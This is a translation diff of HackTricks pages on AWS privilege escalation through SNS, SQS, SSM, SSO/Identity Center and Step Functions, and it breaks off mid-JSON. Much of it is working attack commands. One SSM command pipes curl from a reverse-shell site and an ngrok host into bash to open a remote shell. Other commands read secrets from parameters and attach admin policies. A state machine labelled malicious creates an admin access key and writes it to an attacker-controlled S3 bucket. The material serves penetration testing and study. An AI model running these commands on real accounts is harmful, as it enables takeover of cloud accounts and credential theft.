|
||||
### `sns:AddPermission`
|
||||
|
||||
An attacker could grant unauthorized users or services access to an SNS topic, potentially getting further permissions.
|
||||
|
||||
Napadač bi mogao dodeliti neovlašćenim korisnicima ili uslugama pristup SNS temi, potencijalno dobijajući dalja ovlašćenja.
|
||||
```css
|
||||
aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
|
||||
```
|
||||
|
||||
**Potential Impact**: Unauthorized access to the topic, message exposure, or topic manipulation by unauthorized users or services, disruption of normal functioning for applications relying on the topic.
|
||||
**Potencijalni uticaj**: Neovlašćen pristup temi, izlaganje poruka ili manipulacija temom od strane neovlašćenih korisnika ili servisa, ometanje normalnog funkcionisanja aplikacija koje se oslanjaju na temu.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## SQS
|
||||
|
||||
For more information check:
|
||||
Za više informacija pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-sqs-and-sns-enum.md
|
||||
@@ -12,39 +12,29 @@ For more information check:
|
||||
|
||||
### `sqs:AddPermission`
|
||||
|
||||
An attacker could use this permission to grant unauthorized users or services access to an SQS queue by creating new policies or modifying existing policies. This could result in unauthorized access to the messages in the queue or manipulation of the queue by unauthorized entities.
|
||||
|
||||
Napadač bi mogao iskoristiti ovu dozvolu da dodeli neovlašćenim korisnicima ili servisima pristup SQS redu kreiranjem novih politika ili modifikovanjem postojećih politika. To bi moglo rezultirati neovlašćenim pristupom porukama u redu ili manipulacijom reda od strane neovlašćenih entiteta.
|
||||
```bash
|
||||
cssCopy codeaws sqs add-permission --queue-url <value> --actions <value> --aws-account-ids <value> --label <value>
|
||||
```
|
||||
**Potencijalni uticaj**: Neovlašćen pristup redu, izlaganje poruka ili manipulacija redom od strane neovlašćenih korisnika ili servisa.
|
||||
|
||||
**Potential Impact**: Unauthorized access to the queue, message exposure, or queue manipulation by unauthorized users or services.
|
||||
|
||||
### `sqs:SendMessage` , `sqs:SendMessageBatch`
|
||||
|
||||
An attacker could send malicious or unwanted messages to the SQS queue, potentially causing data corruption, triggering unintended actions, or exhausting resources.
|
||||
### `sqs:SendMessage`, `sqs:SendMessageBatch`
|
||||
|
||||
Napadač bi mogao poslati zlonamerne ili neželjene poruke u SQS red, što bi moglo izazvati oštećenje podataka, pokretanje neželjenih akcija ili iscrpljivanje resursa.
|
||||
```bash
|
||||
aws sqs send-message --queue-url <value> --message-body <value>
|
||||
aws sqs send-message-batch --queue-url <value> --entries <value>
|
||||
```
|
||||
|
||||
**Potential Impact**: Vulnerability exploitation, Data corruption, unintended actions, or resource exhaustion.
|
||||
**Potencijalni uticaj**: Iskorišćavanje ranjivosti, oštećenje podataka, nepredviđene radnje ili iscrpljivanje resursa.
|
||||
|
||||
### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility`
|
||||
|
||||
An attacker could receive, delete, or modify the visibility of messages in an SQS queue, causing message loss, data corruption, or service disruption for applications relying on those messages.
|
||||
|
||||
Napadač bi mogao da primi, obriše ili izmeni vidljivost poruka u SQS redu, uzrokujući gubitak poruka, oštećenje podataka ili prekid usluge za aplikacije koje se oslanjaju na te poruke.
|
||||
```bash
|
||||
aws sqs receive-message --queue-url <value>
|
||||
aws sqs delete-message --queue-url <value> --receipt-handle <value>
|
||||
aws sqs change-message-visibility --queue-url <value> --receipt-handle <value> --visibility-timeout <value>
|
||||
```
|
||||
|
||||
**Potential Impact**: Steal sensitive information, Message loss, data corruption, and service disruption for applications relying on the affected messages.
|
||||
**Potencijalni uticaj**: Ukrasti osetljive informacije, gubitak poruka, oštećenje podataka i prekid usluge za aplikacije koje se oslanjaju na pogođene poruke.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## SSM
|
||||
|
||||
For more info about SSM check:
|
||||
Za više informacija o SSM proverite:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
@@ -12,8 +12,7 @@ For more info about SSM check:
|
||||
|
||||
### `ssm:SendCommand`
|
||||
|
||||
An attacker with the permission **`ssm:SendCommand`** can **execute commands in instances** running the Amazon SSM Agent and **compromise the IAM Role** running inside of it.
|
||||
|
||||
Napadač sa dozvolom **`ssm:SendCommand`** može **izvršavati komande u instancama** koje pokreću Amazon SSM Agent i **kompromitovati IAM ulogu** koja se izvršava unutar nje.
|
||||
```bash
|
||||
# Check for configured instances
|
||||
aws ssm describe-instance-information
|
||||
@@ -21,26 +20,22 @@ aws ssm describe-sessions --state Active
|
||||
|
||||
# Send rev shell command
|
||||
aws ssm send-command --instance-ids "$INSTANCE_ID" \
|
||||
--document-name "AWS-RunShellScript" --output text \
|
||||
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"
|
||||
--document-name "AWS-RunShellScript" --output text \
|
||||
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"
|
||||
```
|
||||
|
||||
In case you are using this technique to escalate privileges inside an already compromised EC2 instance, you could just capture the rev shell locally with:
|
||||
|
||||
U slučaju da koristite ovu tehniku za eskalaciju privilegija unutar već kompromitovane EC2 instance, možete jednostavno uhvatiti rev shell lokalno sa:
|
||||
```bash
|
||||
# If you are in the machine you can capture the reverseshel inside of it
|
||||
nc -lvnp 4444 #Inside the EC2 instance
|
||||
aws ssm send-command --instance-ids "$INSTANCE_ID" \
|
||||
--document-name "AWS-RunShellScript" --output text \
|
||||
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"
|
||||
--document-name "AWS-RunShellScript" --output text \
|
||||
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"
|
||||
```
|
||||
|
||||
**Potential Impact:** Direct privesc to the EC2 IAM roles attached to running instances with SSM Agents running.
|
||||
**Potencijalni uticaj:** Direktno privesc na EC2 IAM uloge povezane sa aktivnim instancama sa SSM agentima.
|
||||
|
||||
### `ssm:StartSession`
|
||||
|
||||
An attacker with the permission **`ssm:StartSession`** can **start a SSH like session in instances** running the Amazon SSM Agent and **compromise the IAM Role** running inside of it.
|
||||
|
||||
Napadač sa dozvolom **`ssm:StartSession`** može **pokrenuti SSH sličnu sesiju u instancama** koje pokreću Amazon SSM Agent i **kompromitovati IAM ulogu** koja se izvršava unutar nje.
|
||||
```bash
|
||||
# Check for configured instances
|
||||
aws ssm describe-instance-information
|
||||
@@ -49,68 +44,58 @@ aws ssm describe-sessions --state Active
|
||||
# Send rev shell command
|
||||
aws ssm start-session --target "$INSTANCE_ID"
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> In order to start a session you need the **SessionManagerPlugin** installed: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html)
|
||||
> Da biste započeli sesiju, potrebno je da imate instaliran **SessionManagerPlugin**: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html)
|
||||
|
||||
**Potential Impact:** Direct privesc to the EC2 IAM roles attached to running instances with SSM Agents running.
|
||||
**Potencijalni uticaj:** Direktno privesc do EC2 IAM uloga povezanih sa aktivnim instancama sa SSM Agentima.
|
||||
|
||||
#### Privesc to ECS
|
||||
|
||||
When **ECS tasks** run with **`ExecuteCommand` enabled** users with enough permissions can use `ecs execute-command` to **execute a command** inside the container.\
|
||||
According to [**the documentation**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) this is done by creating a secure channel between the device you use to initiate the “_exec_“ command and the target container with SSM Session Manager. (SSM Session Manager Plugin necesary for this to work)\
|
||||
Therefore, users with `ssm:StartSession` will be able to **get a shell inside ECS tasks** with that option enabled just running:
|
||||
#### Privesc do ECS
|
||||
|
||||
Kada **ECS zadaci** rade sa **`ExecuteCommand` omogućenim**, korisnici sa dovoljno dozvola mogu koristiti `ecs execute-command` da **izvrše komandu** unutar kontejnera.\
|
||||
Prema [**dokumentaciji**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/), to se postiže kreiranjem sigurnog kanala između uređaja koji koristite za iniciranje komande “_exec_” i ciljnog kontejnera sa SSM Session Managerom. (SSM Session Manager Plugin je neophodan za ovo)\
|
||||
Stoga, korisnici sa `ssm:StartSession` moći će da **dobiju shell unutar ECS zadataka** sa tom opcijom omogućenom jednostavno pokretanjem:
|
||||
```bash
|
||||
aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"
|
||||
```
|
||||
|
||||
.png>)
|
||||
|
||||
**Potential Impact:** Direct privesc to the `ECS`IAM roles attached to running tasks with `ExecuteCommand` enabled.
|
||||
**Potencijalni uticaj:** Direktno privesc na `ECS` IAM uloge povezane sa aktivnim zadacima sa omogućenom `ExecuteCommand`.
|
||||
|
||||
### `ssm:ResumeSession`
|
||||
|
||||
An attacker with the permission **`ssm:ResumeSession`** can re-**start a SSH like session in instances** running the Amazon SSM Agent with a **disconnected** SSM session state and **compromise the IAM Role** running inside of it.
|
||||
|
||||
Napadač sa dozvolom **`ssm:ResumeSession`** može ponovo **pokrenuti SSH sličnu sesiju u instancama** koje pokreću Amazon SSM Agent sa **isključenim** stanjem SSM sesije i **kompromitovati IAM ulogu** koja se izvršava unutar nje.
|
||||
```bash
|
||||
# Check for configured instances
|
||||
aws ssm describe-sessions
|
||||
|
||||
# Get resume data (you will probably need to do something else with this info to connect)
|
||||
aws ssm resume-session \
|
||||
--session-id Mary-Major-07a16060613c408b5
|
||||
--session-id Mary-Major-07a16060613c408b5
|
||||
```
|
||||
|
||||
**Potential Impact:** Direct privesc to the EC2 IAM roles attached to running instances with SSM Agents running and disconected sessions.
|
||||
**Potencijalni uticaj:** Direktno privesc do EC2 IAM uloga povezanih sa aktivnim instancama sa SSM agentima i disconected sesijama.
|
||||
|
||||
### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`)
|
||||
|
||||
An attacker with the mentioned permissions is going to be able to list the **SSM parameters** and **read them in clear-text**. In these parameters you can frequently **find sensitive information** such as SSH keys or API keys.
|
||||
|
||||
Napadač sa pomenutim dozvolama će moći da prikaže **SSM parametre** i **pročita ih u čistom tekstu**. U ovim parametrima često možete **pronaći osetljive informacije** kao što su SSH ključevi ili API ključevi.
|
||||
```bash
|
||||
aws ssm describe-parameters
|
||||
# Suppose that you found a parameter called "id_rsa"
|
||||
aws ssm get-parameters --names id_rsa --with-decryption
|
||||
aws ssm get-parameter --name id_rsa --with-decryption
|
||||
```
|
||||
|
||||
**Potential Impact:** Find sensitive information inside the parameters.
|
||||
**Potencijalni uticaj:** Pronaći osetljive informacije unutar parametara.
|
||||
|
||||
### `ssm:ListCommands`
|
||||
|
||||
An attacker with this permission can list all the **commands** sent and hopefully find **sensitive information** on them.
|
||||
|
||||
Napadač sa ovom dozvolom može da prikaže sve **komande** koje su poslate i nada se da će pronaći **osetljive informacije** u njima.
|
||||
```
|
||||
aws ssm list-commands
|
||||
```
|
||||
|
||||
**Potential Impact:** Find sensitive information inside the command lines.
|
||||
**Potencijalni uticaj:** Pronaći osetljive informacije unutar komandnih linija.
|
||||
|
||||
### `ssm:GetCommandInvocation`, (`ssm:ListCommandInvocations` | `ssm:ListCommands`)
|
||||
|
||||
An attacker with these permissions can list all the **commands** sent and **read the output** generated hopefully finding **sensitive information** on it.
|
||||
|
||||
Napadač sa ovim dozvolama može da prikaže sve **komande** poslate i **pročita izlaz** generisan, nadajući se da će pronaći **osetljive informacije** u njemu.
|
||||
```bash
|
||||
# You can use any of both options to get the command-id and instance id
|
||||
aws ssm list-commands
|
||||
@@ -118,19 +103,14 @@ aws ssm list-command-invocations
|
||||
|
||||
aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>
|
||||
```
|
||||
|
||||
**Potential Impact:** Find sensitive information inside the output of the command lines.
|
||||
**Potencijalni uticaj:** Pronaći osetljive informacije unutar izlaza komandnih linija.
|
||||
|
||||
### Codebuild
|
||||
|
||||
You can also use SSM to get inside a codebuild project being built:
|
||||
Možete takođe koristiti SSM da uđete u projekat codebuild koji se gradi:
|
||||
|
||||
{{#ref}}
|
||||
aws-codebuild-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,58 +4,53 @@
|
||||
|
||||
## AWS Identity Center / AWS SSO
|
||||
|
||||
For more information about AWS Identity Center / AWS SSO check:
|
||||
Za više informacija o AWS Identity Center / AWS SSO pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-iam-enum.md
|
||||
{{#endref}}
|
||||
|
||||
> [!WARNING]
|
||||
> Note that by **default**, only **users** with permissions **form** the **Management Account** are going to be able to access and **control the IAM Identity Center**.\
|
||||
> Users from other accounts can only allow it if the account is a **Delegated Adminstrator.**\
|
||||
> [Check the docs for more info.](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html)
|
||||
> Imajte na umu da po **default-u**, samo **korisnici** sa dozvolama **iz** **Upravljačkog Naloga** mogu pristupiti i **kontrolisati IAM Identity Center**.\
|
||||
> Korisnici iz drugih naloga mogu to omogućiti samo ako je nalog **Delegirani Administrator.**\
|
||||
> [Pogledajte dokumentaciju za više informacija.](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html)
|
||||
|
||||
### ~~Reset Password~~
|
||||
### ~~Resetuj lozinku~~
|
||||
|
||||
An easy way to escalate privileges in cases like this one would be to have a permission that allows to reset users passwords. Unfortunately it's only possible to send an email to the user to reset his password, so you would need access to the users email.
|
||||
Lako rešenje za eskalaciju privilegija u ovakvim slučajevima bi bilo imati dozvolu koja omogućava resetovanje lozinki korisnika. Nažalost, moguće je samo poslati email korisniku da resetuje svoju lozinku, tako da bi vam bio potreban pristup korisnikovom emailu.
|
||||
|
||||
### `identitystore:CreateGroupMembership`
|
||||
|
||||
With this permission it's possible to set a user inside a group so he will inherit all the permissions the group has.
|
||||
|
||||
Sa ovom dozvolom moguće je postaviti korisnika unutar grupe tako da će naslediti sve dozvole koje grupa ima.
|
||||
```bash
|
||||
aws identitystore create-group-membership --identity-store-id <tore-id> --group-id <group-id> --member-id UserId=<user-id>
|
||||
```
|
||||
|
||||
### `sso:PutInlinePolicyToPermissionSet`, `sso:ProvisionPermissionSet`
|
||||
|
||||
An attacker with this permission could grant extra permissions to a Permission Set that is granted to a user under his control
|
||||
|
||||
Napadač sa ovom dozvolom mogao bi dodeliti dodatne dozvole skupu dozvola koji je dodeljen korisniku pod njegovom kontrolom.
|
||||
```bash
|
||||
# Set an inline policy with admin privileges
|
||||
aws sso-admin put-inline-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --inline-policy file:///tmp/policy.yaml
|
||||
|
||||
# Content of /tmp/policy.yaml
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "Statement1",
|
||||
"Effect": "Allow",
|
||||
"Action": ["*"],
|
||||
"Resource": ["*"]
|
||||
}
|
||||
]
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "Statement1",
|
||||
"Effect": "Allow",
|
||||
"Action": ["*"],
|
||||
"Resource": ["*"]
|
||||
}
|
||||
]
|
||||
}
|
||||
|
||||
# Update the provisioning so the new policy is created in the account
|
||||
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS
|
||||
```
|
||||
|
||||
### `sso:AttachManagedPolicyToPermissionSet`, `sso:ProvisionPermissionSet`
|
||||
|
||||
An attacker with this permission could grant extra permissions to a Permission Set that is granted to a user under his control
|
||||
|
||||
Napadač sa ovom dozvolom mogao bi dodeliti dodatne dozvole skupu dozvola koji je dodeljen korisniku pod njegovom kontrolom.
|
||||
```bash
|
||||
# Set AdministratorAccess policy to the permission set
|
||||
aws sso-admin attach-managed-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --managed-policy-arn "arn:aws:iam::aws:policy/AdministratorAccess"
|
||||
@@ -63,14 +58,12 @@ aws sso-admin attach-managed-policy-to-permission-set --instance-arn <instance-a
|
||||
# Update the provisioning so the new policy is created in the account
|
||||
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS
|
||||
```
|
||||
|
||||
### `sso:AttachCustomerManagedPolicyReferenceToPermissionSet`, `sso:ProvisionPermissionSet`
|
||||
|
||||
An attacker with this permission could grant extra permissions to a Permission Set that is granted to a user under his control.
|
||||
Napadač sa ovom dozvolom može dodeliti dodatne dozvole skupu dozvola koji je dodeljen korisniku pod njegovom kontrolom.
|
||||
|
||||
> [!WARNING]
|
||||
> To abuse these permissions in this case you need to know the **name of a customer managed policy that is inside ALL the accounts** that are going to be affected.
|
||||
|
||||
> Da biste zloupotrebili ove dozvole u ovom slučaju, morate znati **ime korisničke upravljane politike koja se nalazi u SVIH računa** koji će biti pogođeni.
|
||||
```bash
|
||||
# Set AdministratorAccess policy to the permission set
|
||||
aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --customer-managed-policy-reference <customer-managed-policy-name>
|
||||
@@ -78,59 +71,42 @@ aws sso-admin attach-customer-managed-policy-reference-to-permission-set --insta
|
||||
# Update the provisioning so the new policy is created in the account
|
||||
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS
|
||||
```
|
||||
|
||||
### `sso:CreateAccountAssignment`
|
||||
|
||||
An attacker with this permission could give a Permission Set to a user under his control to an account.
|
||||
|
||||
Napadač sa ovom dozvolom mogao bi dodeliti Permission Set korisniku pod njegovom kontrolom za nalog.
|
||||
```bash
|
||||
aws sso-admin create-account-assignment --instance-arn <instance-arn> --target-id <account_num> --target-type AWS_ACCOUNT --permission-set-arn <permission_set_arn> --principal-type USER --principal-id <principal_id>
|
||||
```
|
||||
|
||||
### `sso:GetRoleCredentials`
|
||||
|
||||
Returns the STS short-term credentials for a given role name that is assigned to the user.
|
||||
|
||||
Vraća STS kratkoročne akreditive za dato ime uloge koja je dodeljena korisniku.
|
||||
```
|
||||
aws sso get-role-credentials --role-name <value> --account-id <value> --access-token <value>
|
||||
```
|
||||
|
||||
However, you need an access token that I'm not sure how to get (TODO).
|
||||
Međutim, potrebna vam je pristupna oznaka koju nisam siguran kako da dobijem (TODO).
|
||||
|
||||
### `sso:DetachManagedPolicyFromPermissionSet`
|
||||
|
||||
An attacker with this permission can remove the association between an AWS managed policy from the specified permission set. It is possible to grant more privileges via **detaching a managed policy (deny policy)**.
|
||||
|
||||
Napadač sa ovom dozvolom može ukloniti asocijaciju između AWS upravljane politike i specificiranog skupa dozvola. Moguće je dodeliti više privilegija putem **uklanjanja upravljane politike (politika odbijanja)**.
|
||||
```bash
|
||||
aws sso-admin detach-managed-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN> --managed-policy-arn <ManagedPolicyARN>
|
||||
```
|
||||
|
||||
### `sso:DetachCustomerManagedPolicyReferenceFromPermissionSet`
|
||||
|
||||
An attacker with this permission can remove the association between a Customer managed policy from the specified permission set. It is possible to grant more privileges via **detaching a managed policy (deny policy)**.
|
||||
|
||||
Napadač sa ovom dozvolom može ukloniti asocijaciju između korisničke upravljane politike i određenog skupa dozvola. Moguće je dodeliti više privilegija putem **uklanjanja upravljane politike (politika odbijanja)**.
|
||||
```bash
|
||||
aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn <value> --permission-set-arn <value> --customer-managed-policy-reference <value>
|
||||
```
|
||||
|
||||
### `sso:DeleteInlinePolicyFromPermissionSet`
|
||||
|
||||
An attacker with this permission can action remove the permissions from an inline policy from the permission set. It is possible to grant **more privileges via detaching an inline policy (deny policy)**.
|
||||
|
||||
Napadač sa ovom dozvolom može ukloniti dozvole iz inline politike iz skupa dozvola. Moguće je dodeliti **više privilegija putem odvajanja inline politike (politika odbijanja)**.
|
||||
```bash
|
||||
aws sso-admin delete-inline-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN>
|
||||
```
|
||||
|
||||
### `sso:DeletePermissionBoundaryFromPermissionSet`
|
||||
|
||||
An attacker with this permission can remove the Permission Boundary from the permission set. It is possible to grant **more privileges by removing the restrictions on the Permission Set** given from the Permission Boundary.
|
||||
|
||||
Napadač sa ovom dozvolom može ukloniti Permission Boundary iz skupa dozvola. Moguće je dodeliti **više privilegija uklanjanjem ograničenja na Permission Set** datom iz Permission Boundary.
|
||||
```bash
|
||||
aws sso-admin delete-permissions-boundary-from-permission-set --instance-arn <value> --permission-set-arn <value>
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Step Functions
|
||||
|
||||
For more information about this AWS service, check:
|
||||
Za više informacija o ovoj AWS usluzi, proverite:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-stepfunctions-enum.md
|
||||
@@ -12,65 +12,58 @@ For more information about this AWS service, check:
|
||||
|
||||
### Task Resources
|
||||
|
||||
These privilege escalation techniques are going to require to use some AWS step function resources in order to perform the desired privilege escalation actions.
|
||||
Ove tehnike eskalacije privilegija će zahtevati korišćenje nekih AWS resursa step funkcija kako bi se izvršile željene akcije eskalacije privilegija.
|
||||
|
||||
In order to check all the possible actions, you could go to your own AWS account select the action you would like to use and see the parameters it's using, like in:
|
||||
Da biste proverili sve moguće akcije, možete otići na svoj AWS nalog, odabrati akciju koju želite da koristite i videti parametre koje koristi, kao u:
|
||||
|
||||
<figure><img src="../../../images/telegram-cloud-photo-size-4-5920521132757336440-y.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Or you could also go to the API AWS documentation and check each action docs:
|
||||
Ili možete otići na API AWS dokumentaciju i proveriti dokumentaciju za svaku akciju:
|
||||
|
||||
- [**AddUserToGroup**](https://docs.aws.amazon.com/IAM/latest/APIReference/API_AddUserToGroup.html)
|
||||
- [**GetSecretValue**](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html)
|
||||
|
||||
### `states:TestState` & `iam:PassRole`
|
||||
|
||||
An attacker with the **`states:TestState`** & **`iam:PassRole`** permissions can test any state and pass any IAM role to it without creating or updating an existing state machine, enabling unauthorized access to other AWS services with the roles' permissions. potentially. Combined, these permissions can lead to extensive unauthorized actions, from manipulating workflows to alter data to data breaches, resource manipulation, and privilege escalation.
|
||||
|
||||
Napadač sa **`states:TestState`** & **`iam:PassRole`** dozvolama može testirati bilo koju državu i proslediti bilo koju IAM ulogu bez kreiranja ili ažuriranja postojeće mašine stanja, omogućavajući neovlašćen pristup drugim AWS uslugama sa dozvolama uloga. U kombinaciji, ove dozvole mogu dovesti do opsežnih neovlašćenih akcija, od manipulacije radnim tokovima do izmene podataka, do curenja podataka, manipulacije resursima i eskalacije privilegija.
|
||||
```bash
|
||||
aws states test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]
|
||||
```
|
||||
|
||||
The following examples show how to test an state that creates an access key for the **`admin`** user leveraging these permissions and a permissive role of the AWS environment. This permissive role should have any high-privileged policy associated with it (for example **`arn:aws:iam::aws:policy/AdministratorAccess`**) that allows the state to perform the **`iam:CreateAccessKey`** action:
|
||||
Следећи примери показују како тестирати стање које креира приступни кључ за **`admin`** корисника користећи ове дозволе и дозволу у AWS окружењу. Ова дозвола би требало да има било коју политику са високим привилегијама повезану са њом (на пример **`arn:aws:iam::aws:policy/AdministratorAccess`**) која омогућава стању да изврши акцију **`iam:CreateAccessKey`**:
|
||||
|
||||
- **stateDefinition.json**:
|
||||
|
||||
```json
|
||||
{
|
||||
"Type": "Task",
|
||||
"Parameters": {
|
||||
"UserName": "admin"
|
||||
},
|
||||
"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
|
||||
"End": true
|
||||
"Type": "Task",
|
||||
"Parameters": {
|
||||
"UserName": "admin"
|
||||
},
|
||||
"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
|
||||
"End": true
|
||||
}
|
||||
```
|
||||
|
||||
- **Command** executed to perform the privesc:
|
||||
|
||||
- **Команда** извршена за извођење преласка привилегија:
|
||||
```bash
|
||||
aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam::<account-id>:role/PermissiveRole
|
||||
|
||||
{
|
||||
"output": "{
|
||||
\"AccessKey\":{
|
||||
\"AccessKeyId\":\"AKIA1A2B3C4D5E6F7G8H\",
|
||||
\"CreateDate\":\"2024-07-09T16:59:11Z\",
|
||||
\"SecretAccessKey\":\"1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j\",
|
||||
\"Status\":\"Active\",
|
||||
\"UserName\":\"admin\"
|
||||
}
|
||||
}",
|
||||
"status": "SUCCEEDED"
|
||||
"output": "{
|
||||
\"AccessKey\":{
|
||||
\"AccessKeyId\":\"AKIA1A2B3C4D5E6F7G8H\",
|
||||
\"CreateDate\":\"2024-07-09T16:59:11Z\",
|
||||
\"SecretAccessKey\":\"1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j\",
|
||||
\"Status\":\"Active\",
|
||||
\"UserName\":\"admin\"
|
||||
}
|
||||
}",
|
||||
"status": "SUCCEEDED"
|
||||
}
|
||||
```
|
||||
|
||||
**Potential Impact**: Unauthorized execution and manipulation of workflows and access to sensitive resources, potentially leading to significant security breaches.
|
||||
**Potencijalni uticaj**: Neovlašćeno izvršavanje i manipulacija radnim tokovima i pristup osetljivim resursima, što može dovesti do značajnih bezbednosnih propusta.
|
||||
|
||||
### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`)
|
||||
|
||||
An attacker with the **`states:CreateStateMachine`**& **`iam:PassRole`** would be able to create an state machine and provide to it any IAM role, enabling unauthorized access to other AWS services with the roles' permissions. In contrast with the previous privesc technique (**`states:TestState`** & **`iam:PassRole`**), this one does not execute by itself, you will also need to have the **`states:StartExecution`** or **`states:StartSyncExecution`** permissions (**`states:StartSyncExecution`** is **not available for standard workflows**, **just to express state machines**) in order to start and execution over the state machine.
|
||||
|
||||
Napadač sa **`states:CreateStateMachine`** & **`iam:PassRole`** bi mogao da kreira mašinu stanja i dodeli joj bilo koju IAM ulogu, omogućavajući neovlašćen pristup drugim AWS uslugama sa dozvolama te uloge. U poređenju sa prethodnom tehnikom privesc (**`states:TestState`** & **`iam:PassRole`**), ova ne izvršava sama, takođe će vam biti potrebne dozvole **`states:StartExecution`** ili **`states:StartSyncExecution`** (**`states:StartSyncExecution`** **nije dostupna za standardne radne tokove**, **samo za izražene mašine stanja**) kako biste započeli izvršenje nad mašinom stanja.
|
||||
```bash
|
||||
# Create a state machine
|
||||
aws states create-state-machine --name <value> --definition <value> --role-arn <value> [--type <STANDARD | EXPRESS>] [--logging-configuration <value>]\
|
||||
@@ -82,176 +75,157 @@ aws states start-execution --state-machine-arn <value> [--name <value>] [--input
|
||||
# Start a Synchronous Express state machine execution
|
||||
aws states start-sync-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
|
||||
```
|
||||
|
||||
The following examples show how to create an state machine that creates an access key for the **`admin`** user and exfiltrates this access key to an attacker-controlled S3 bucket, leveraging these permissions and a permissive role of the AWS environment. This permissive role should have any high-privileged policy associated with it (for example **`arn:aws:iam::aws:policy/AdministratorAccess`**) that allows the state machine to perform the **`iam:CreateAccessKey`** & **`s3:putObject`** actions.
|
||||
|
||||
- **stateMachineDefinition.json**:
|
||||
|
||||
```json
|
||||
{
|
||||
"Comment": "Malicious state machine to create IAM access key and upload to S3",
|
||||
"StartAt": "CreateAccessKey",
|
||||
"States": {
|
||||
"CreateAccessKey": {
|
||||
"Type": "Task",
|
||||
"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
|
||||
"Parameters": {
|
||||
"UserName": "admin"
|
||||
},
|
||||
"ResultPath": "$.AccessKeyResult",
|
||||
"Next": "PrepareS3PutObject"
|
||||
},
|
||||
"PrepareS3PutObject": {
|
||||
"Type": "Pass",
|
||||
"Parameters": {
|
||||
"Body.$": "$.AccessKeyResult.AccessKey",
|
||||
"Bucket": "attacker-controlled-S3-bucket",
|
||||
"Key": "AccessKey.json"
|
||||
},
|
||||
"ResultPath": "$.S3PutObjectParams",
|
||||
"Next": "PutObject"
|
||||
},
|
||||
"PutObject": {
|
||||
"Type": "Task",
|
||||
"Resource": "arn:aws:states:::aws-sdk:s3:putObject",
|
||||
"Parameters": {
|
||||
"Body.$": "$.S3PutObjectParams.Body",
|
||||
"Bucket.$": "$.S3PutObjectParams.Bucket",
|
||||
"Key.$": "$.S3PutObjectParams.Key"
|
||||
},
|
||||
"End": true
|
||||
}
|
||||
}
|
||||
"Comment": "Malicious state machine to create IAM access key and upload to S3",
|
||||
"StartAt": "CreateAccessKey",
|
||||
"States": {
|
||||
"CreateAccessKey": {
|
||||
"Type": "Task",
|
||||
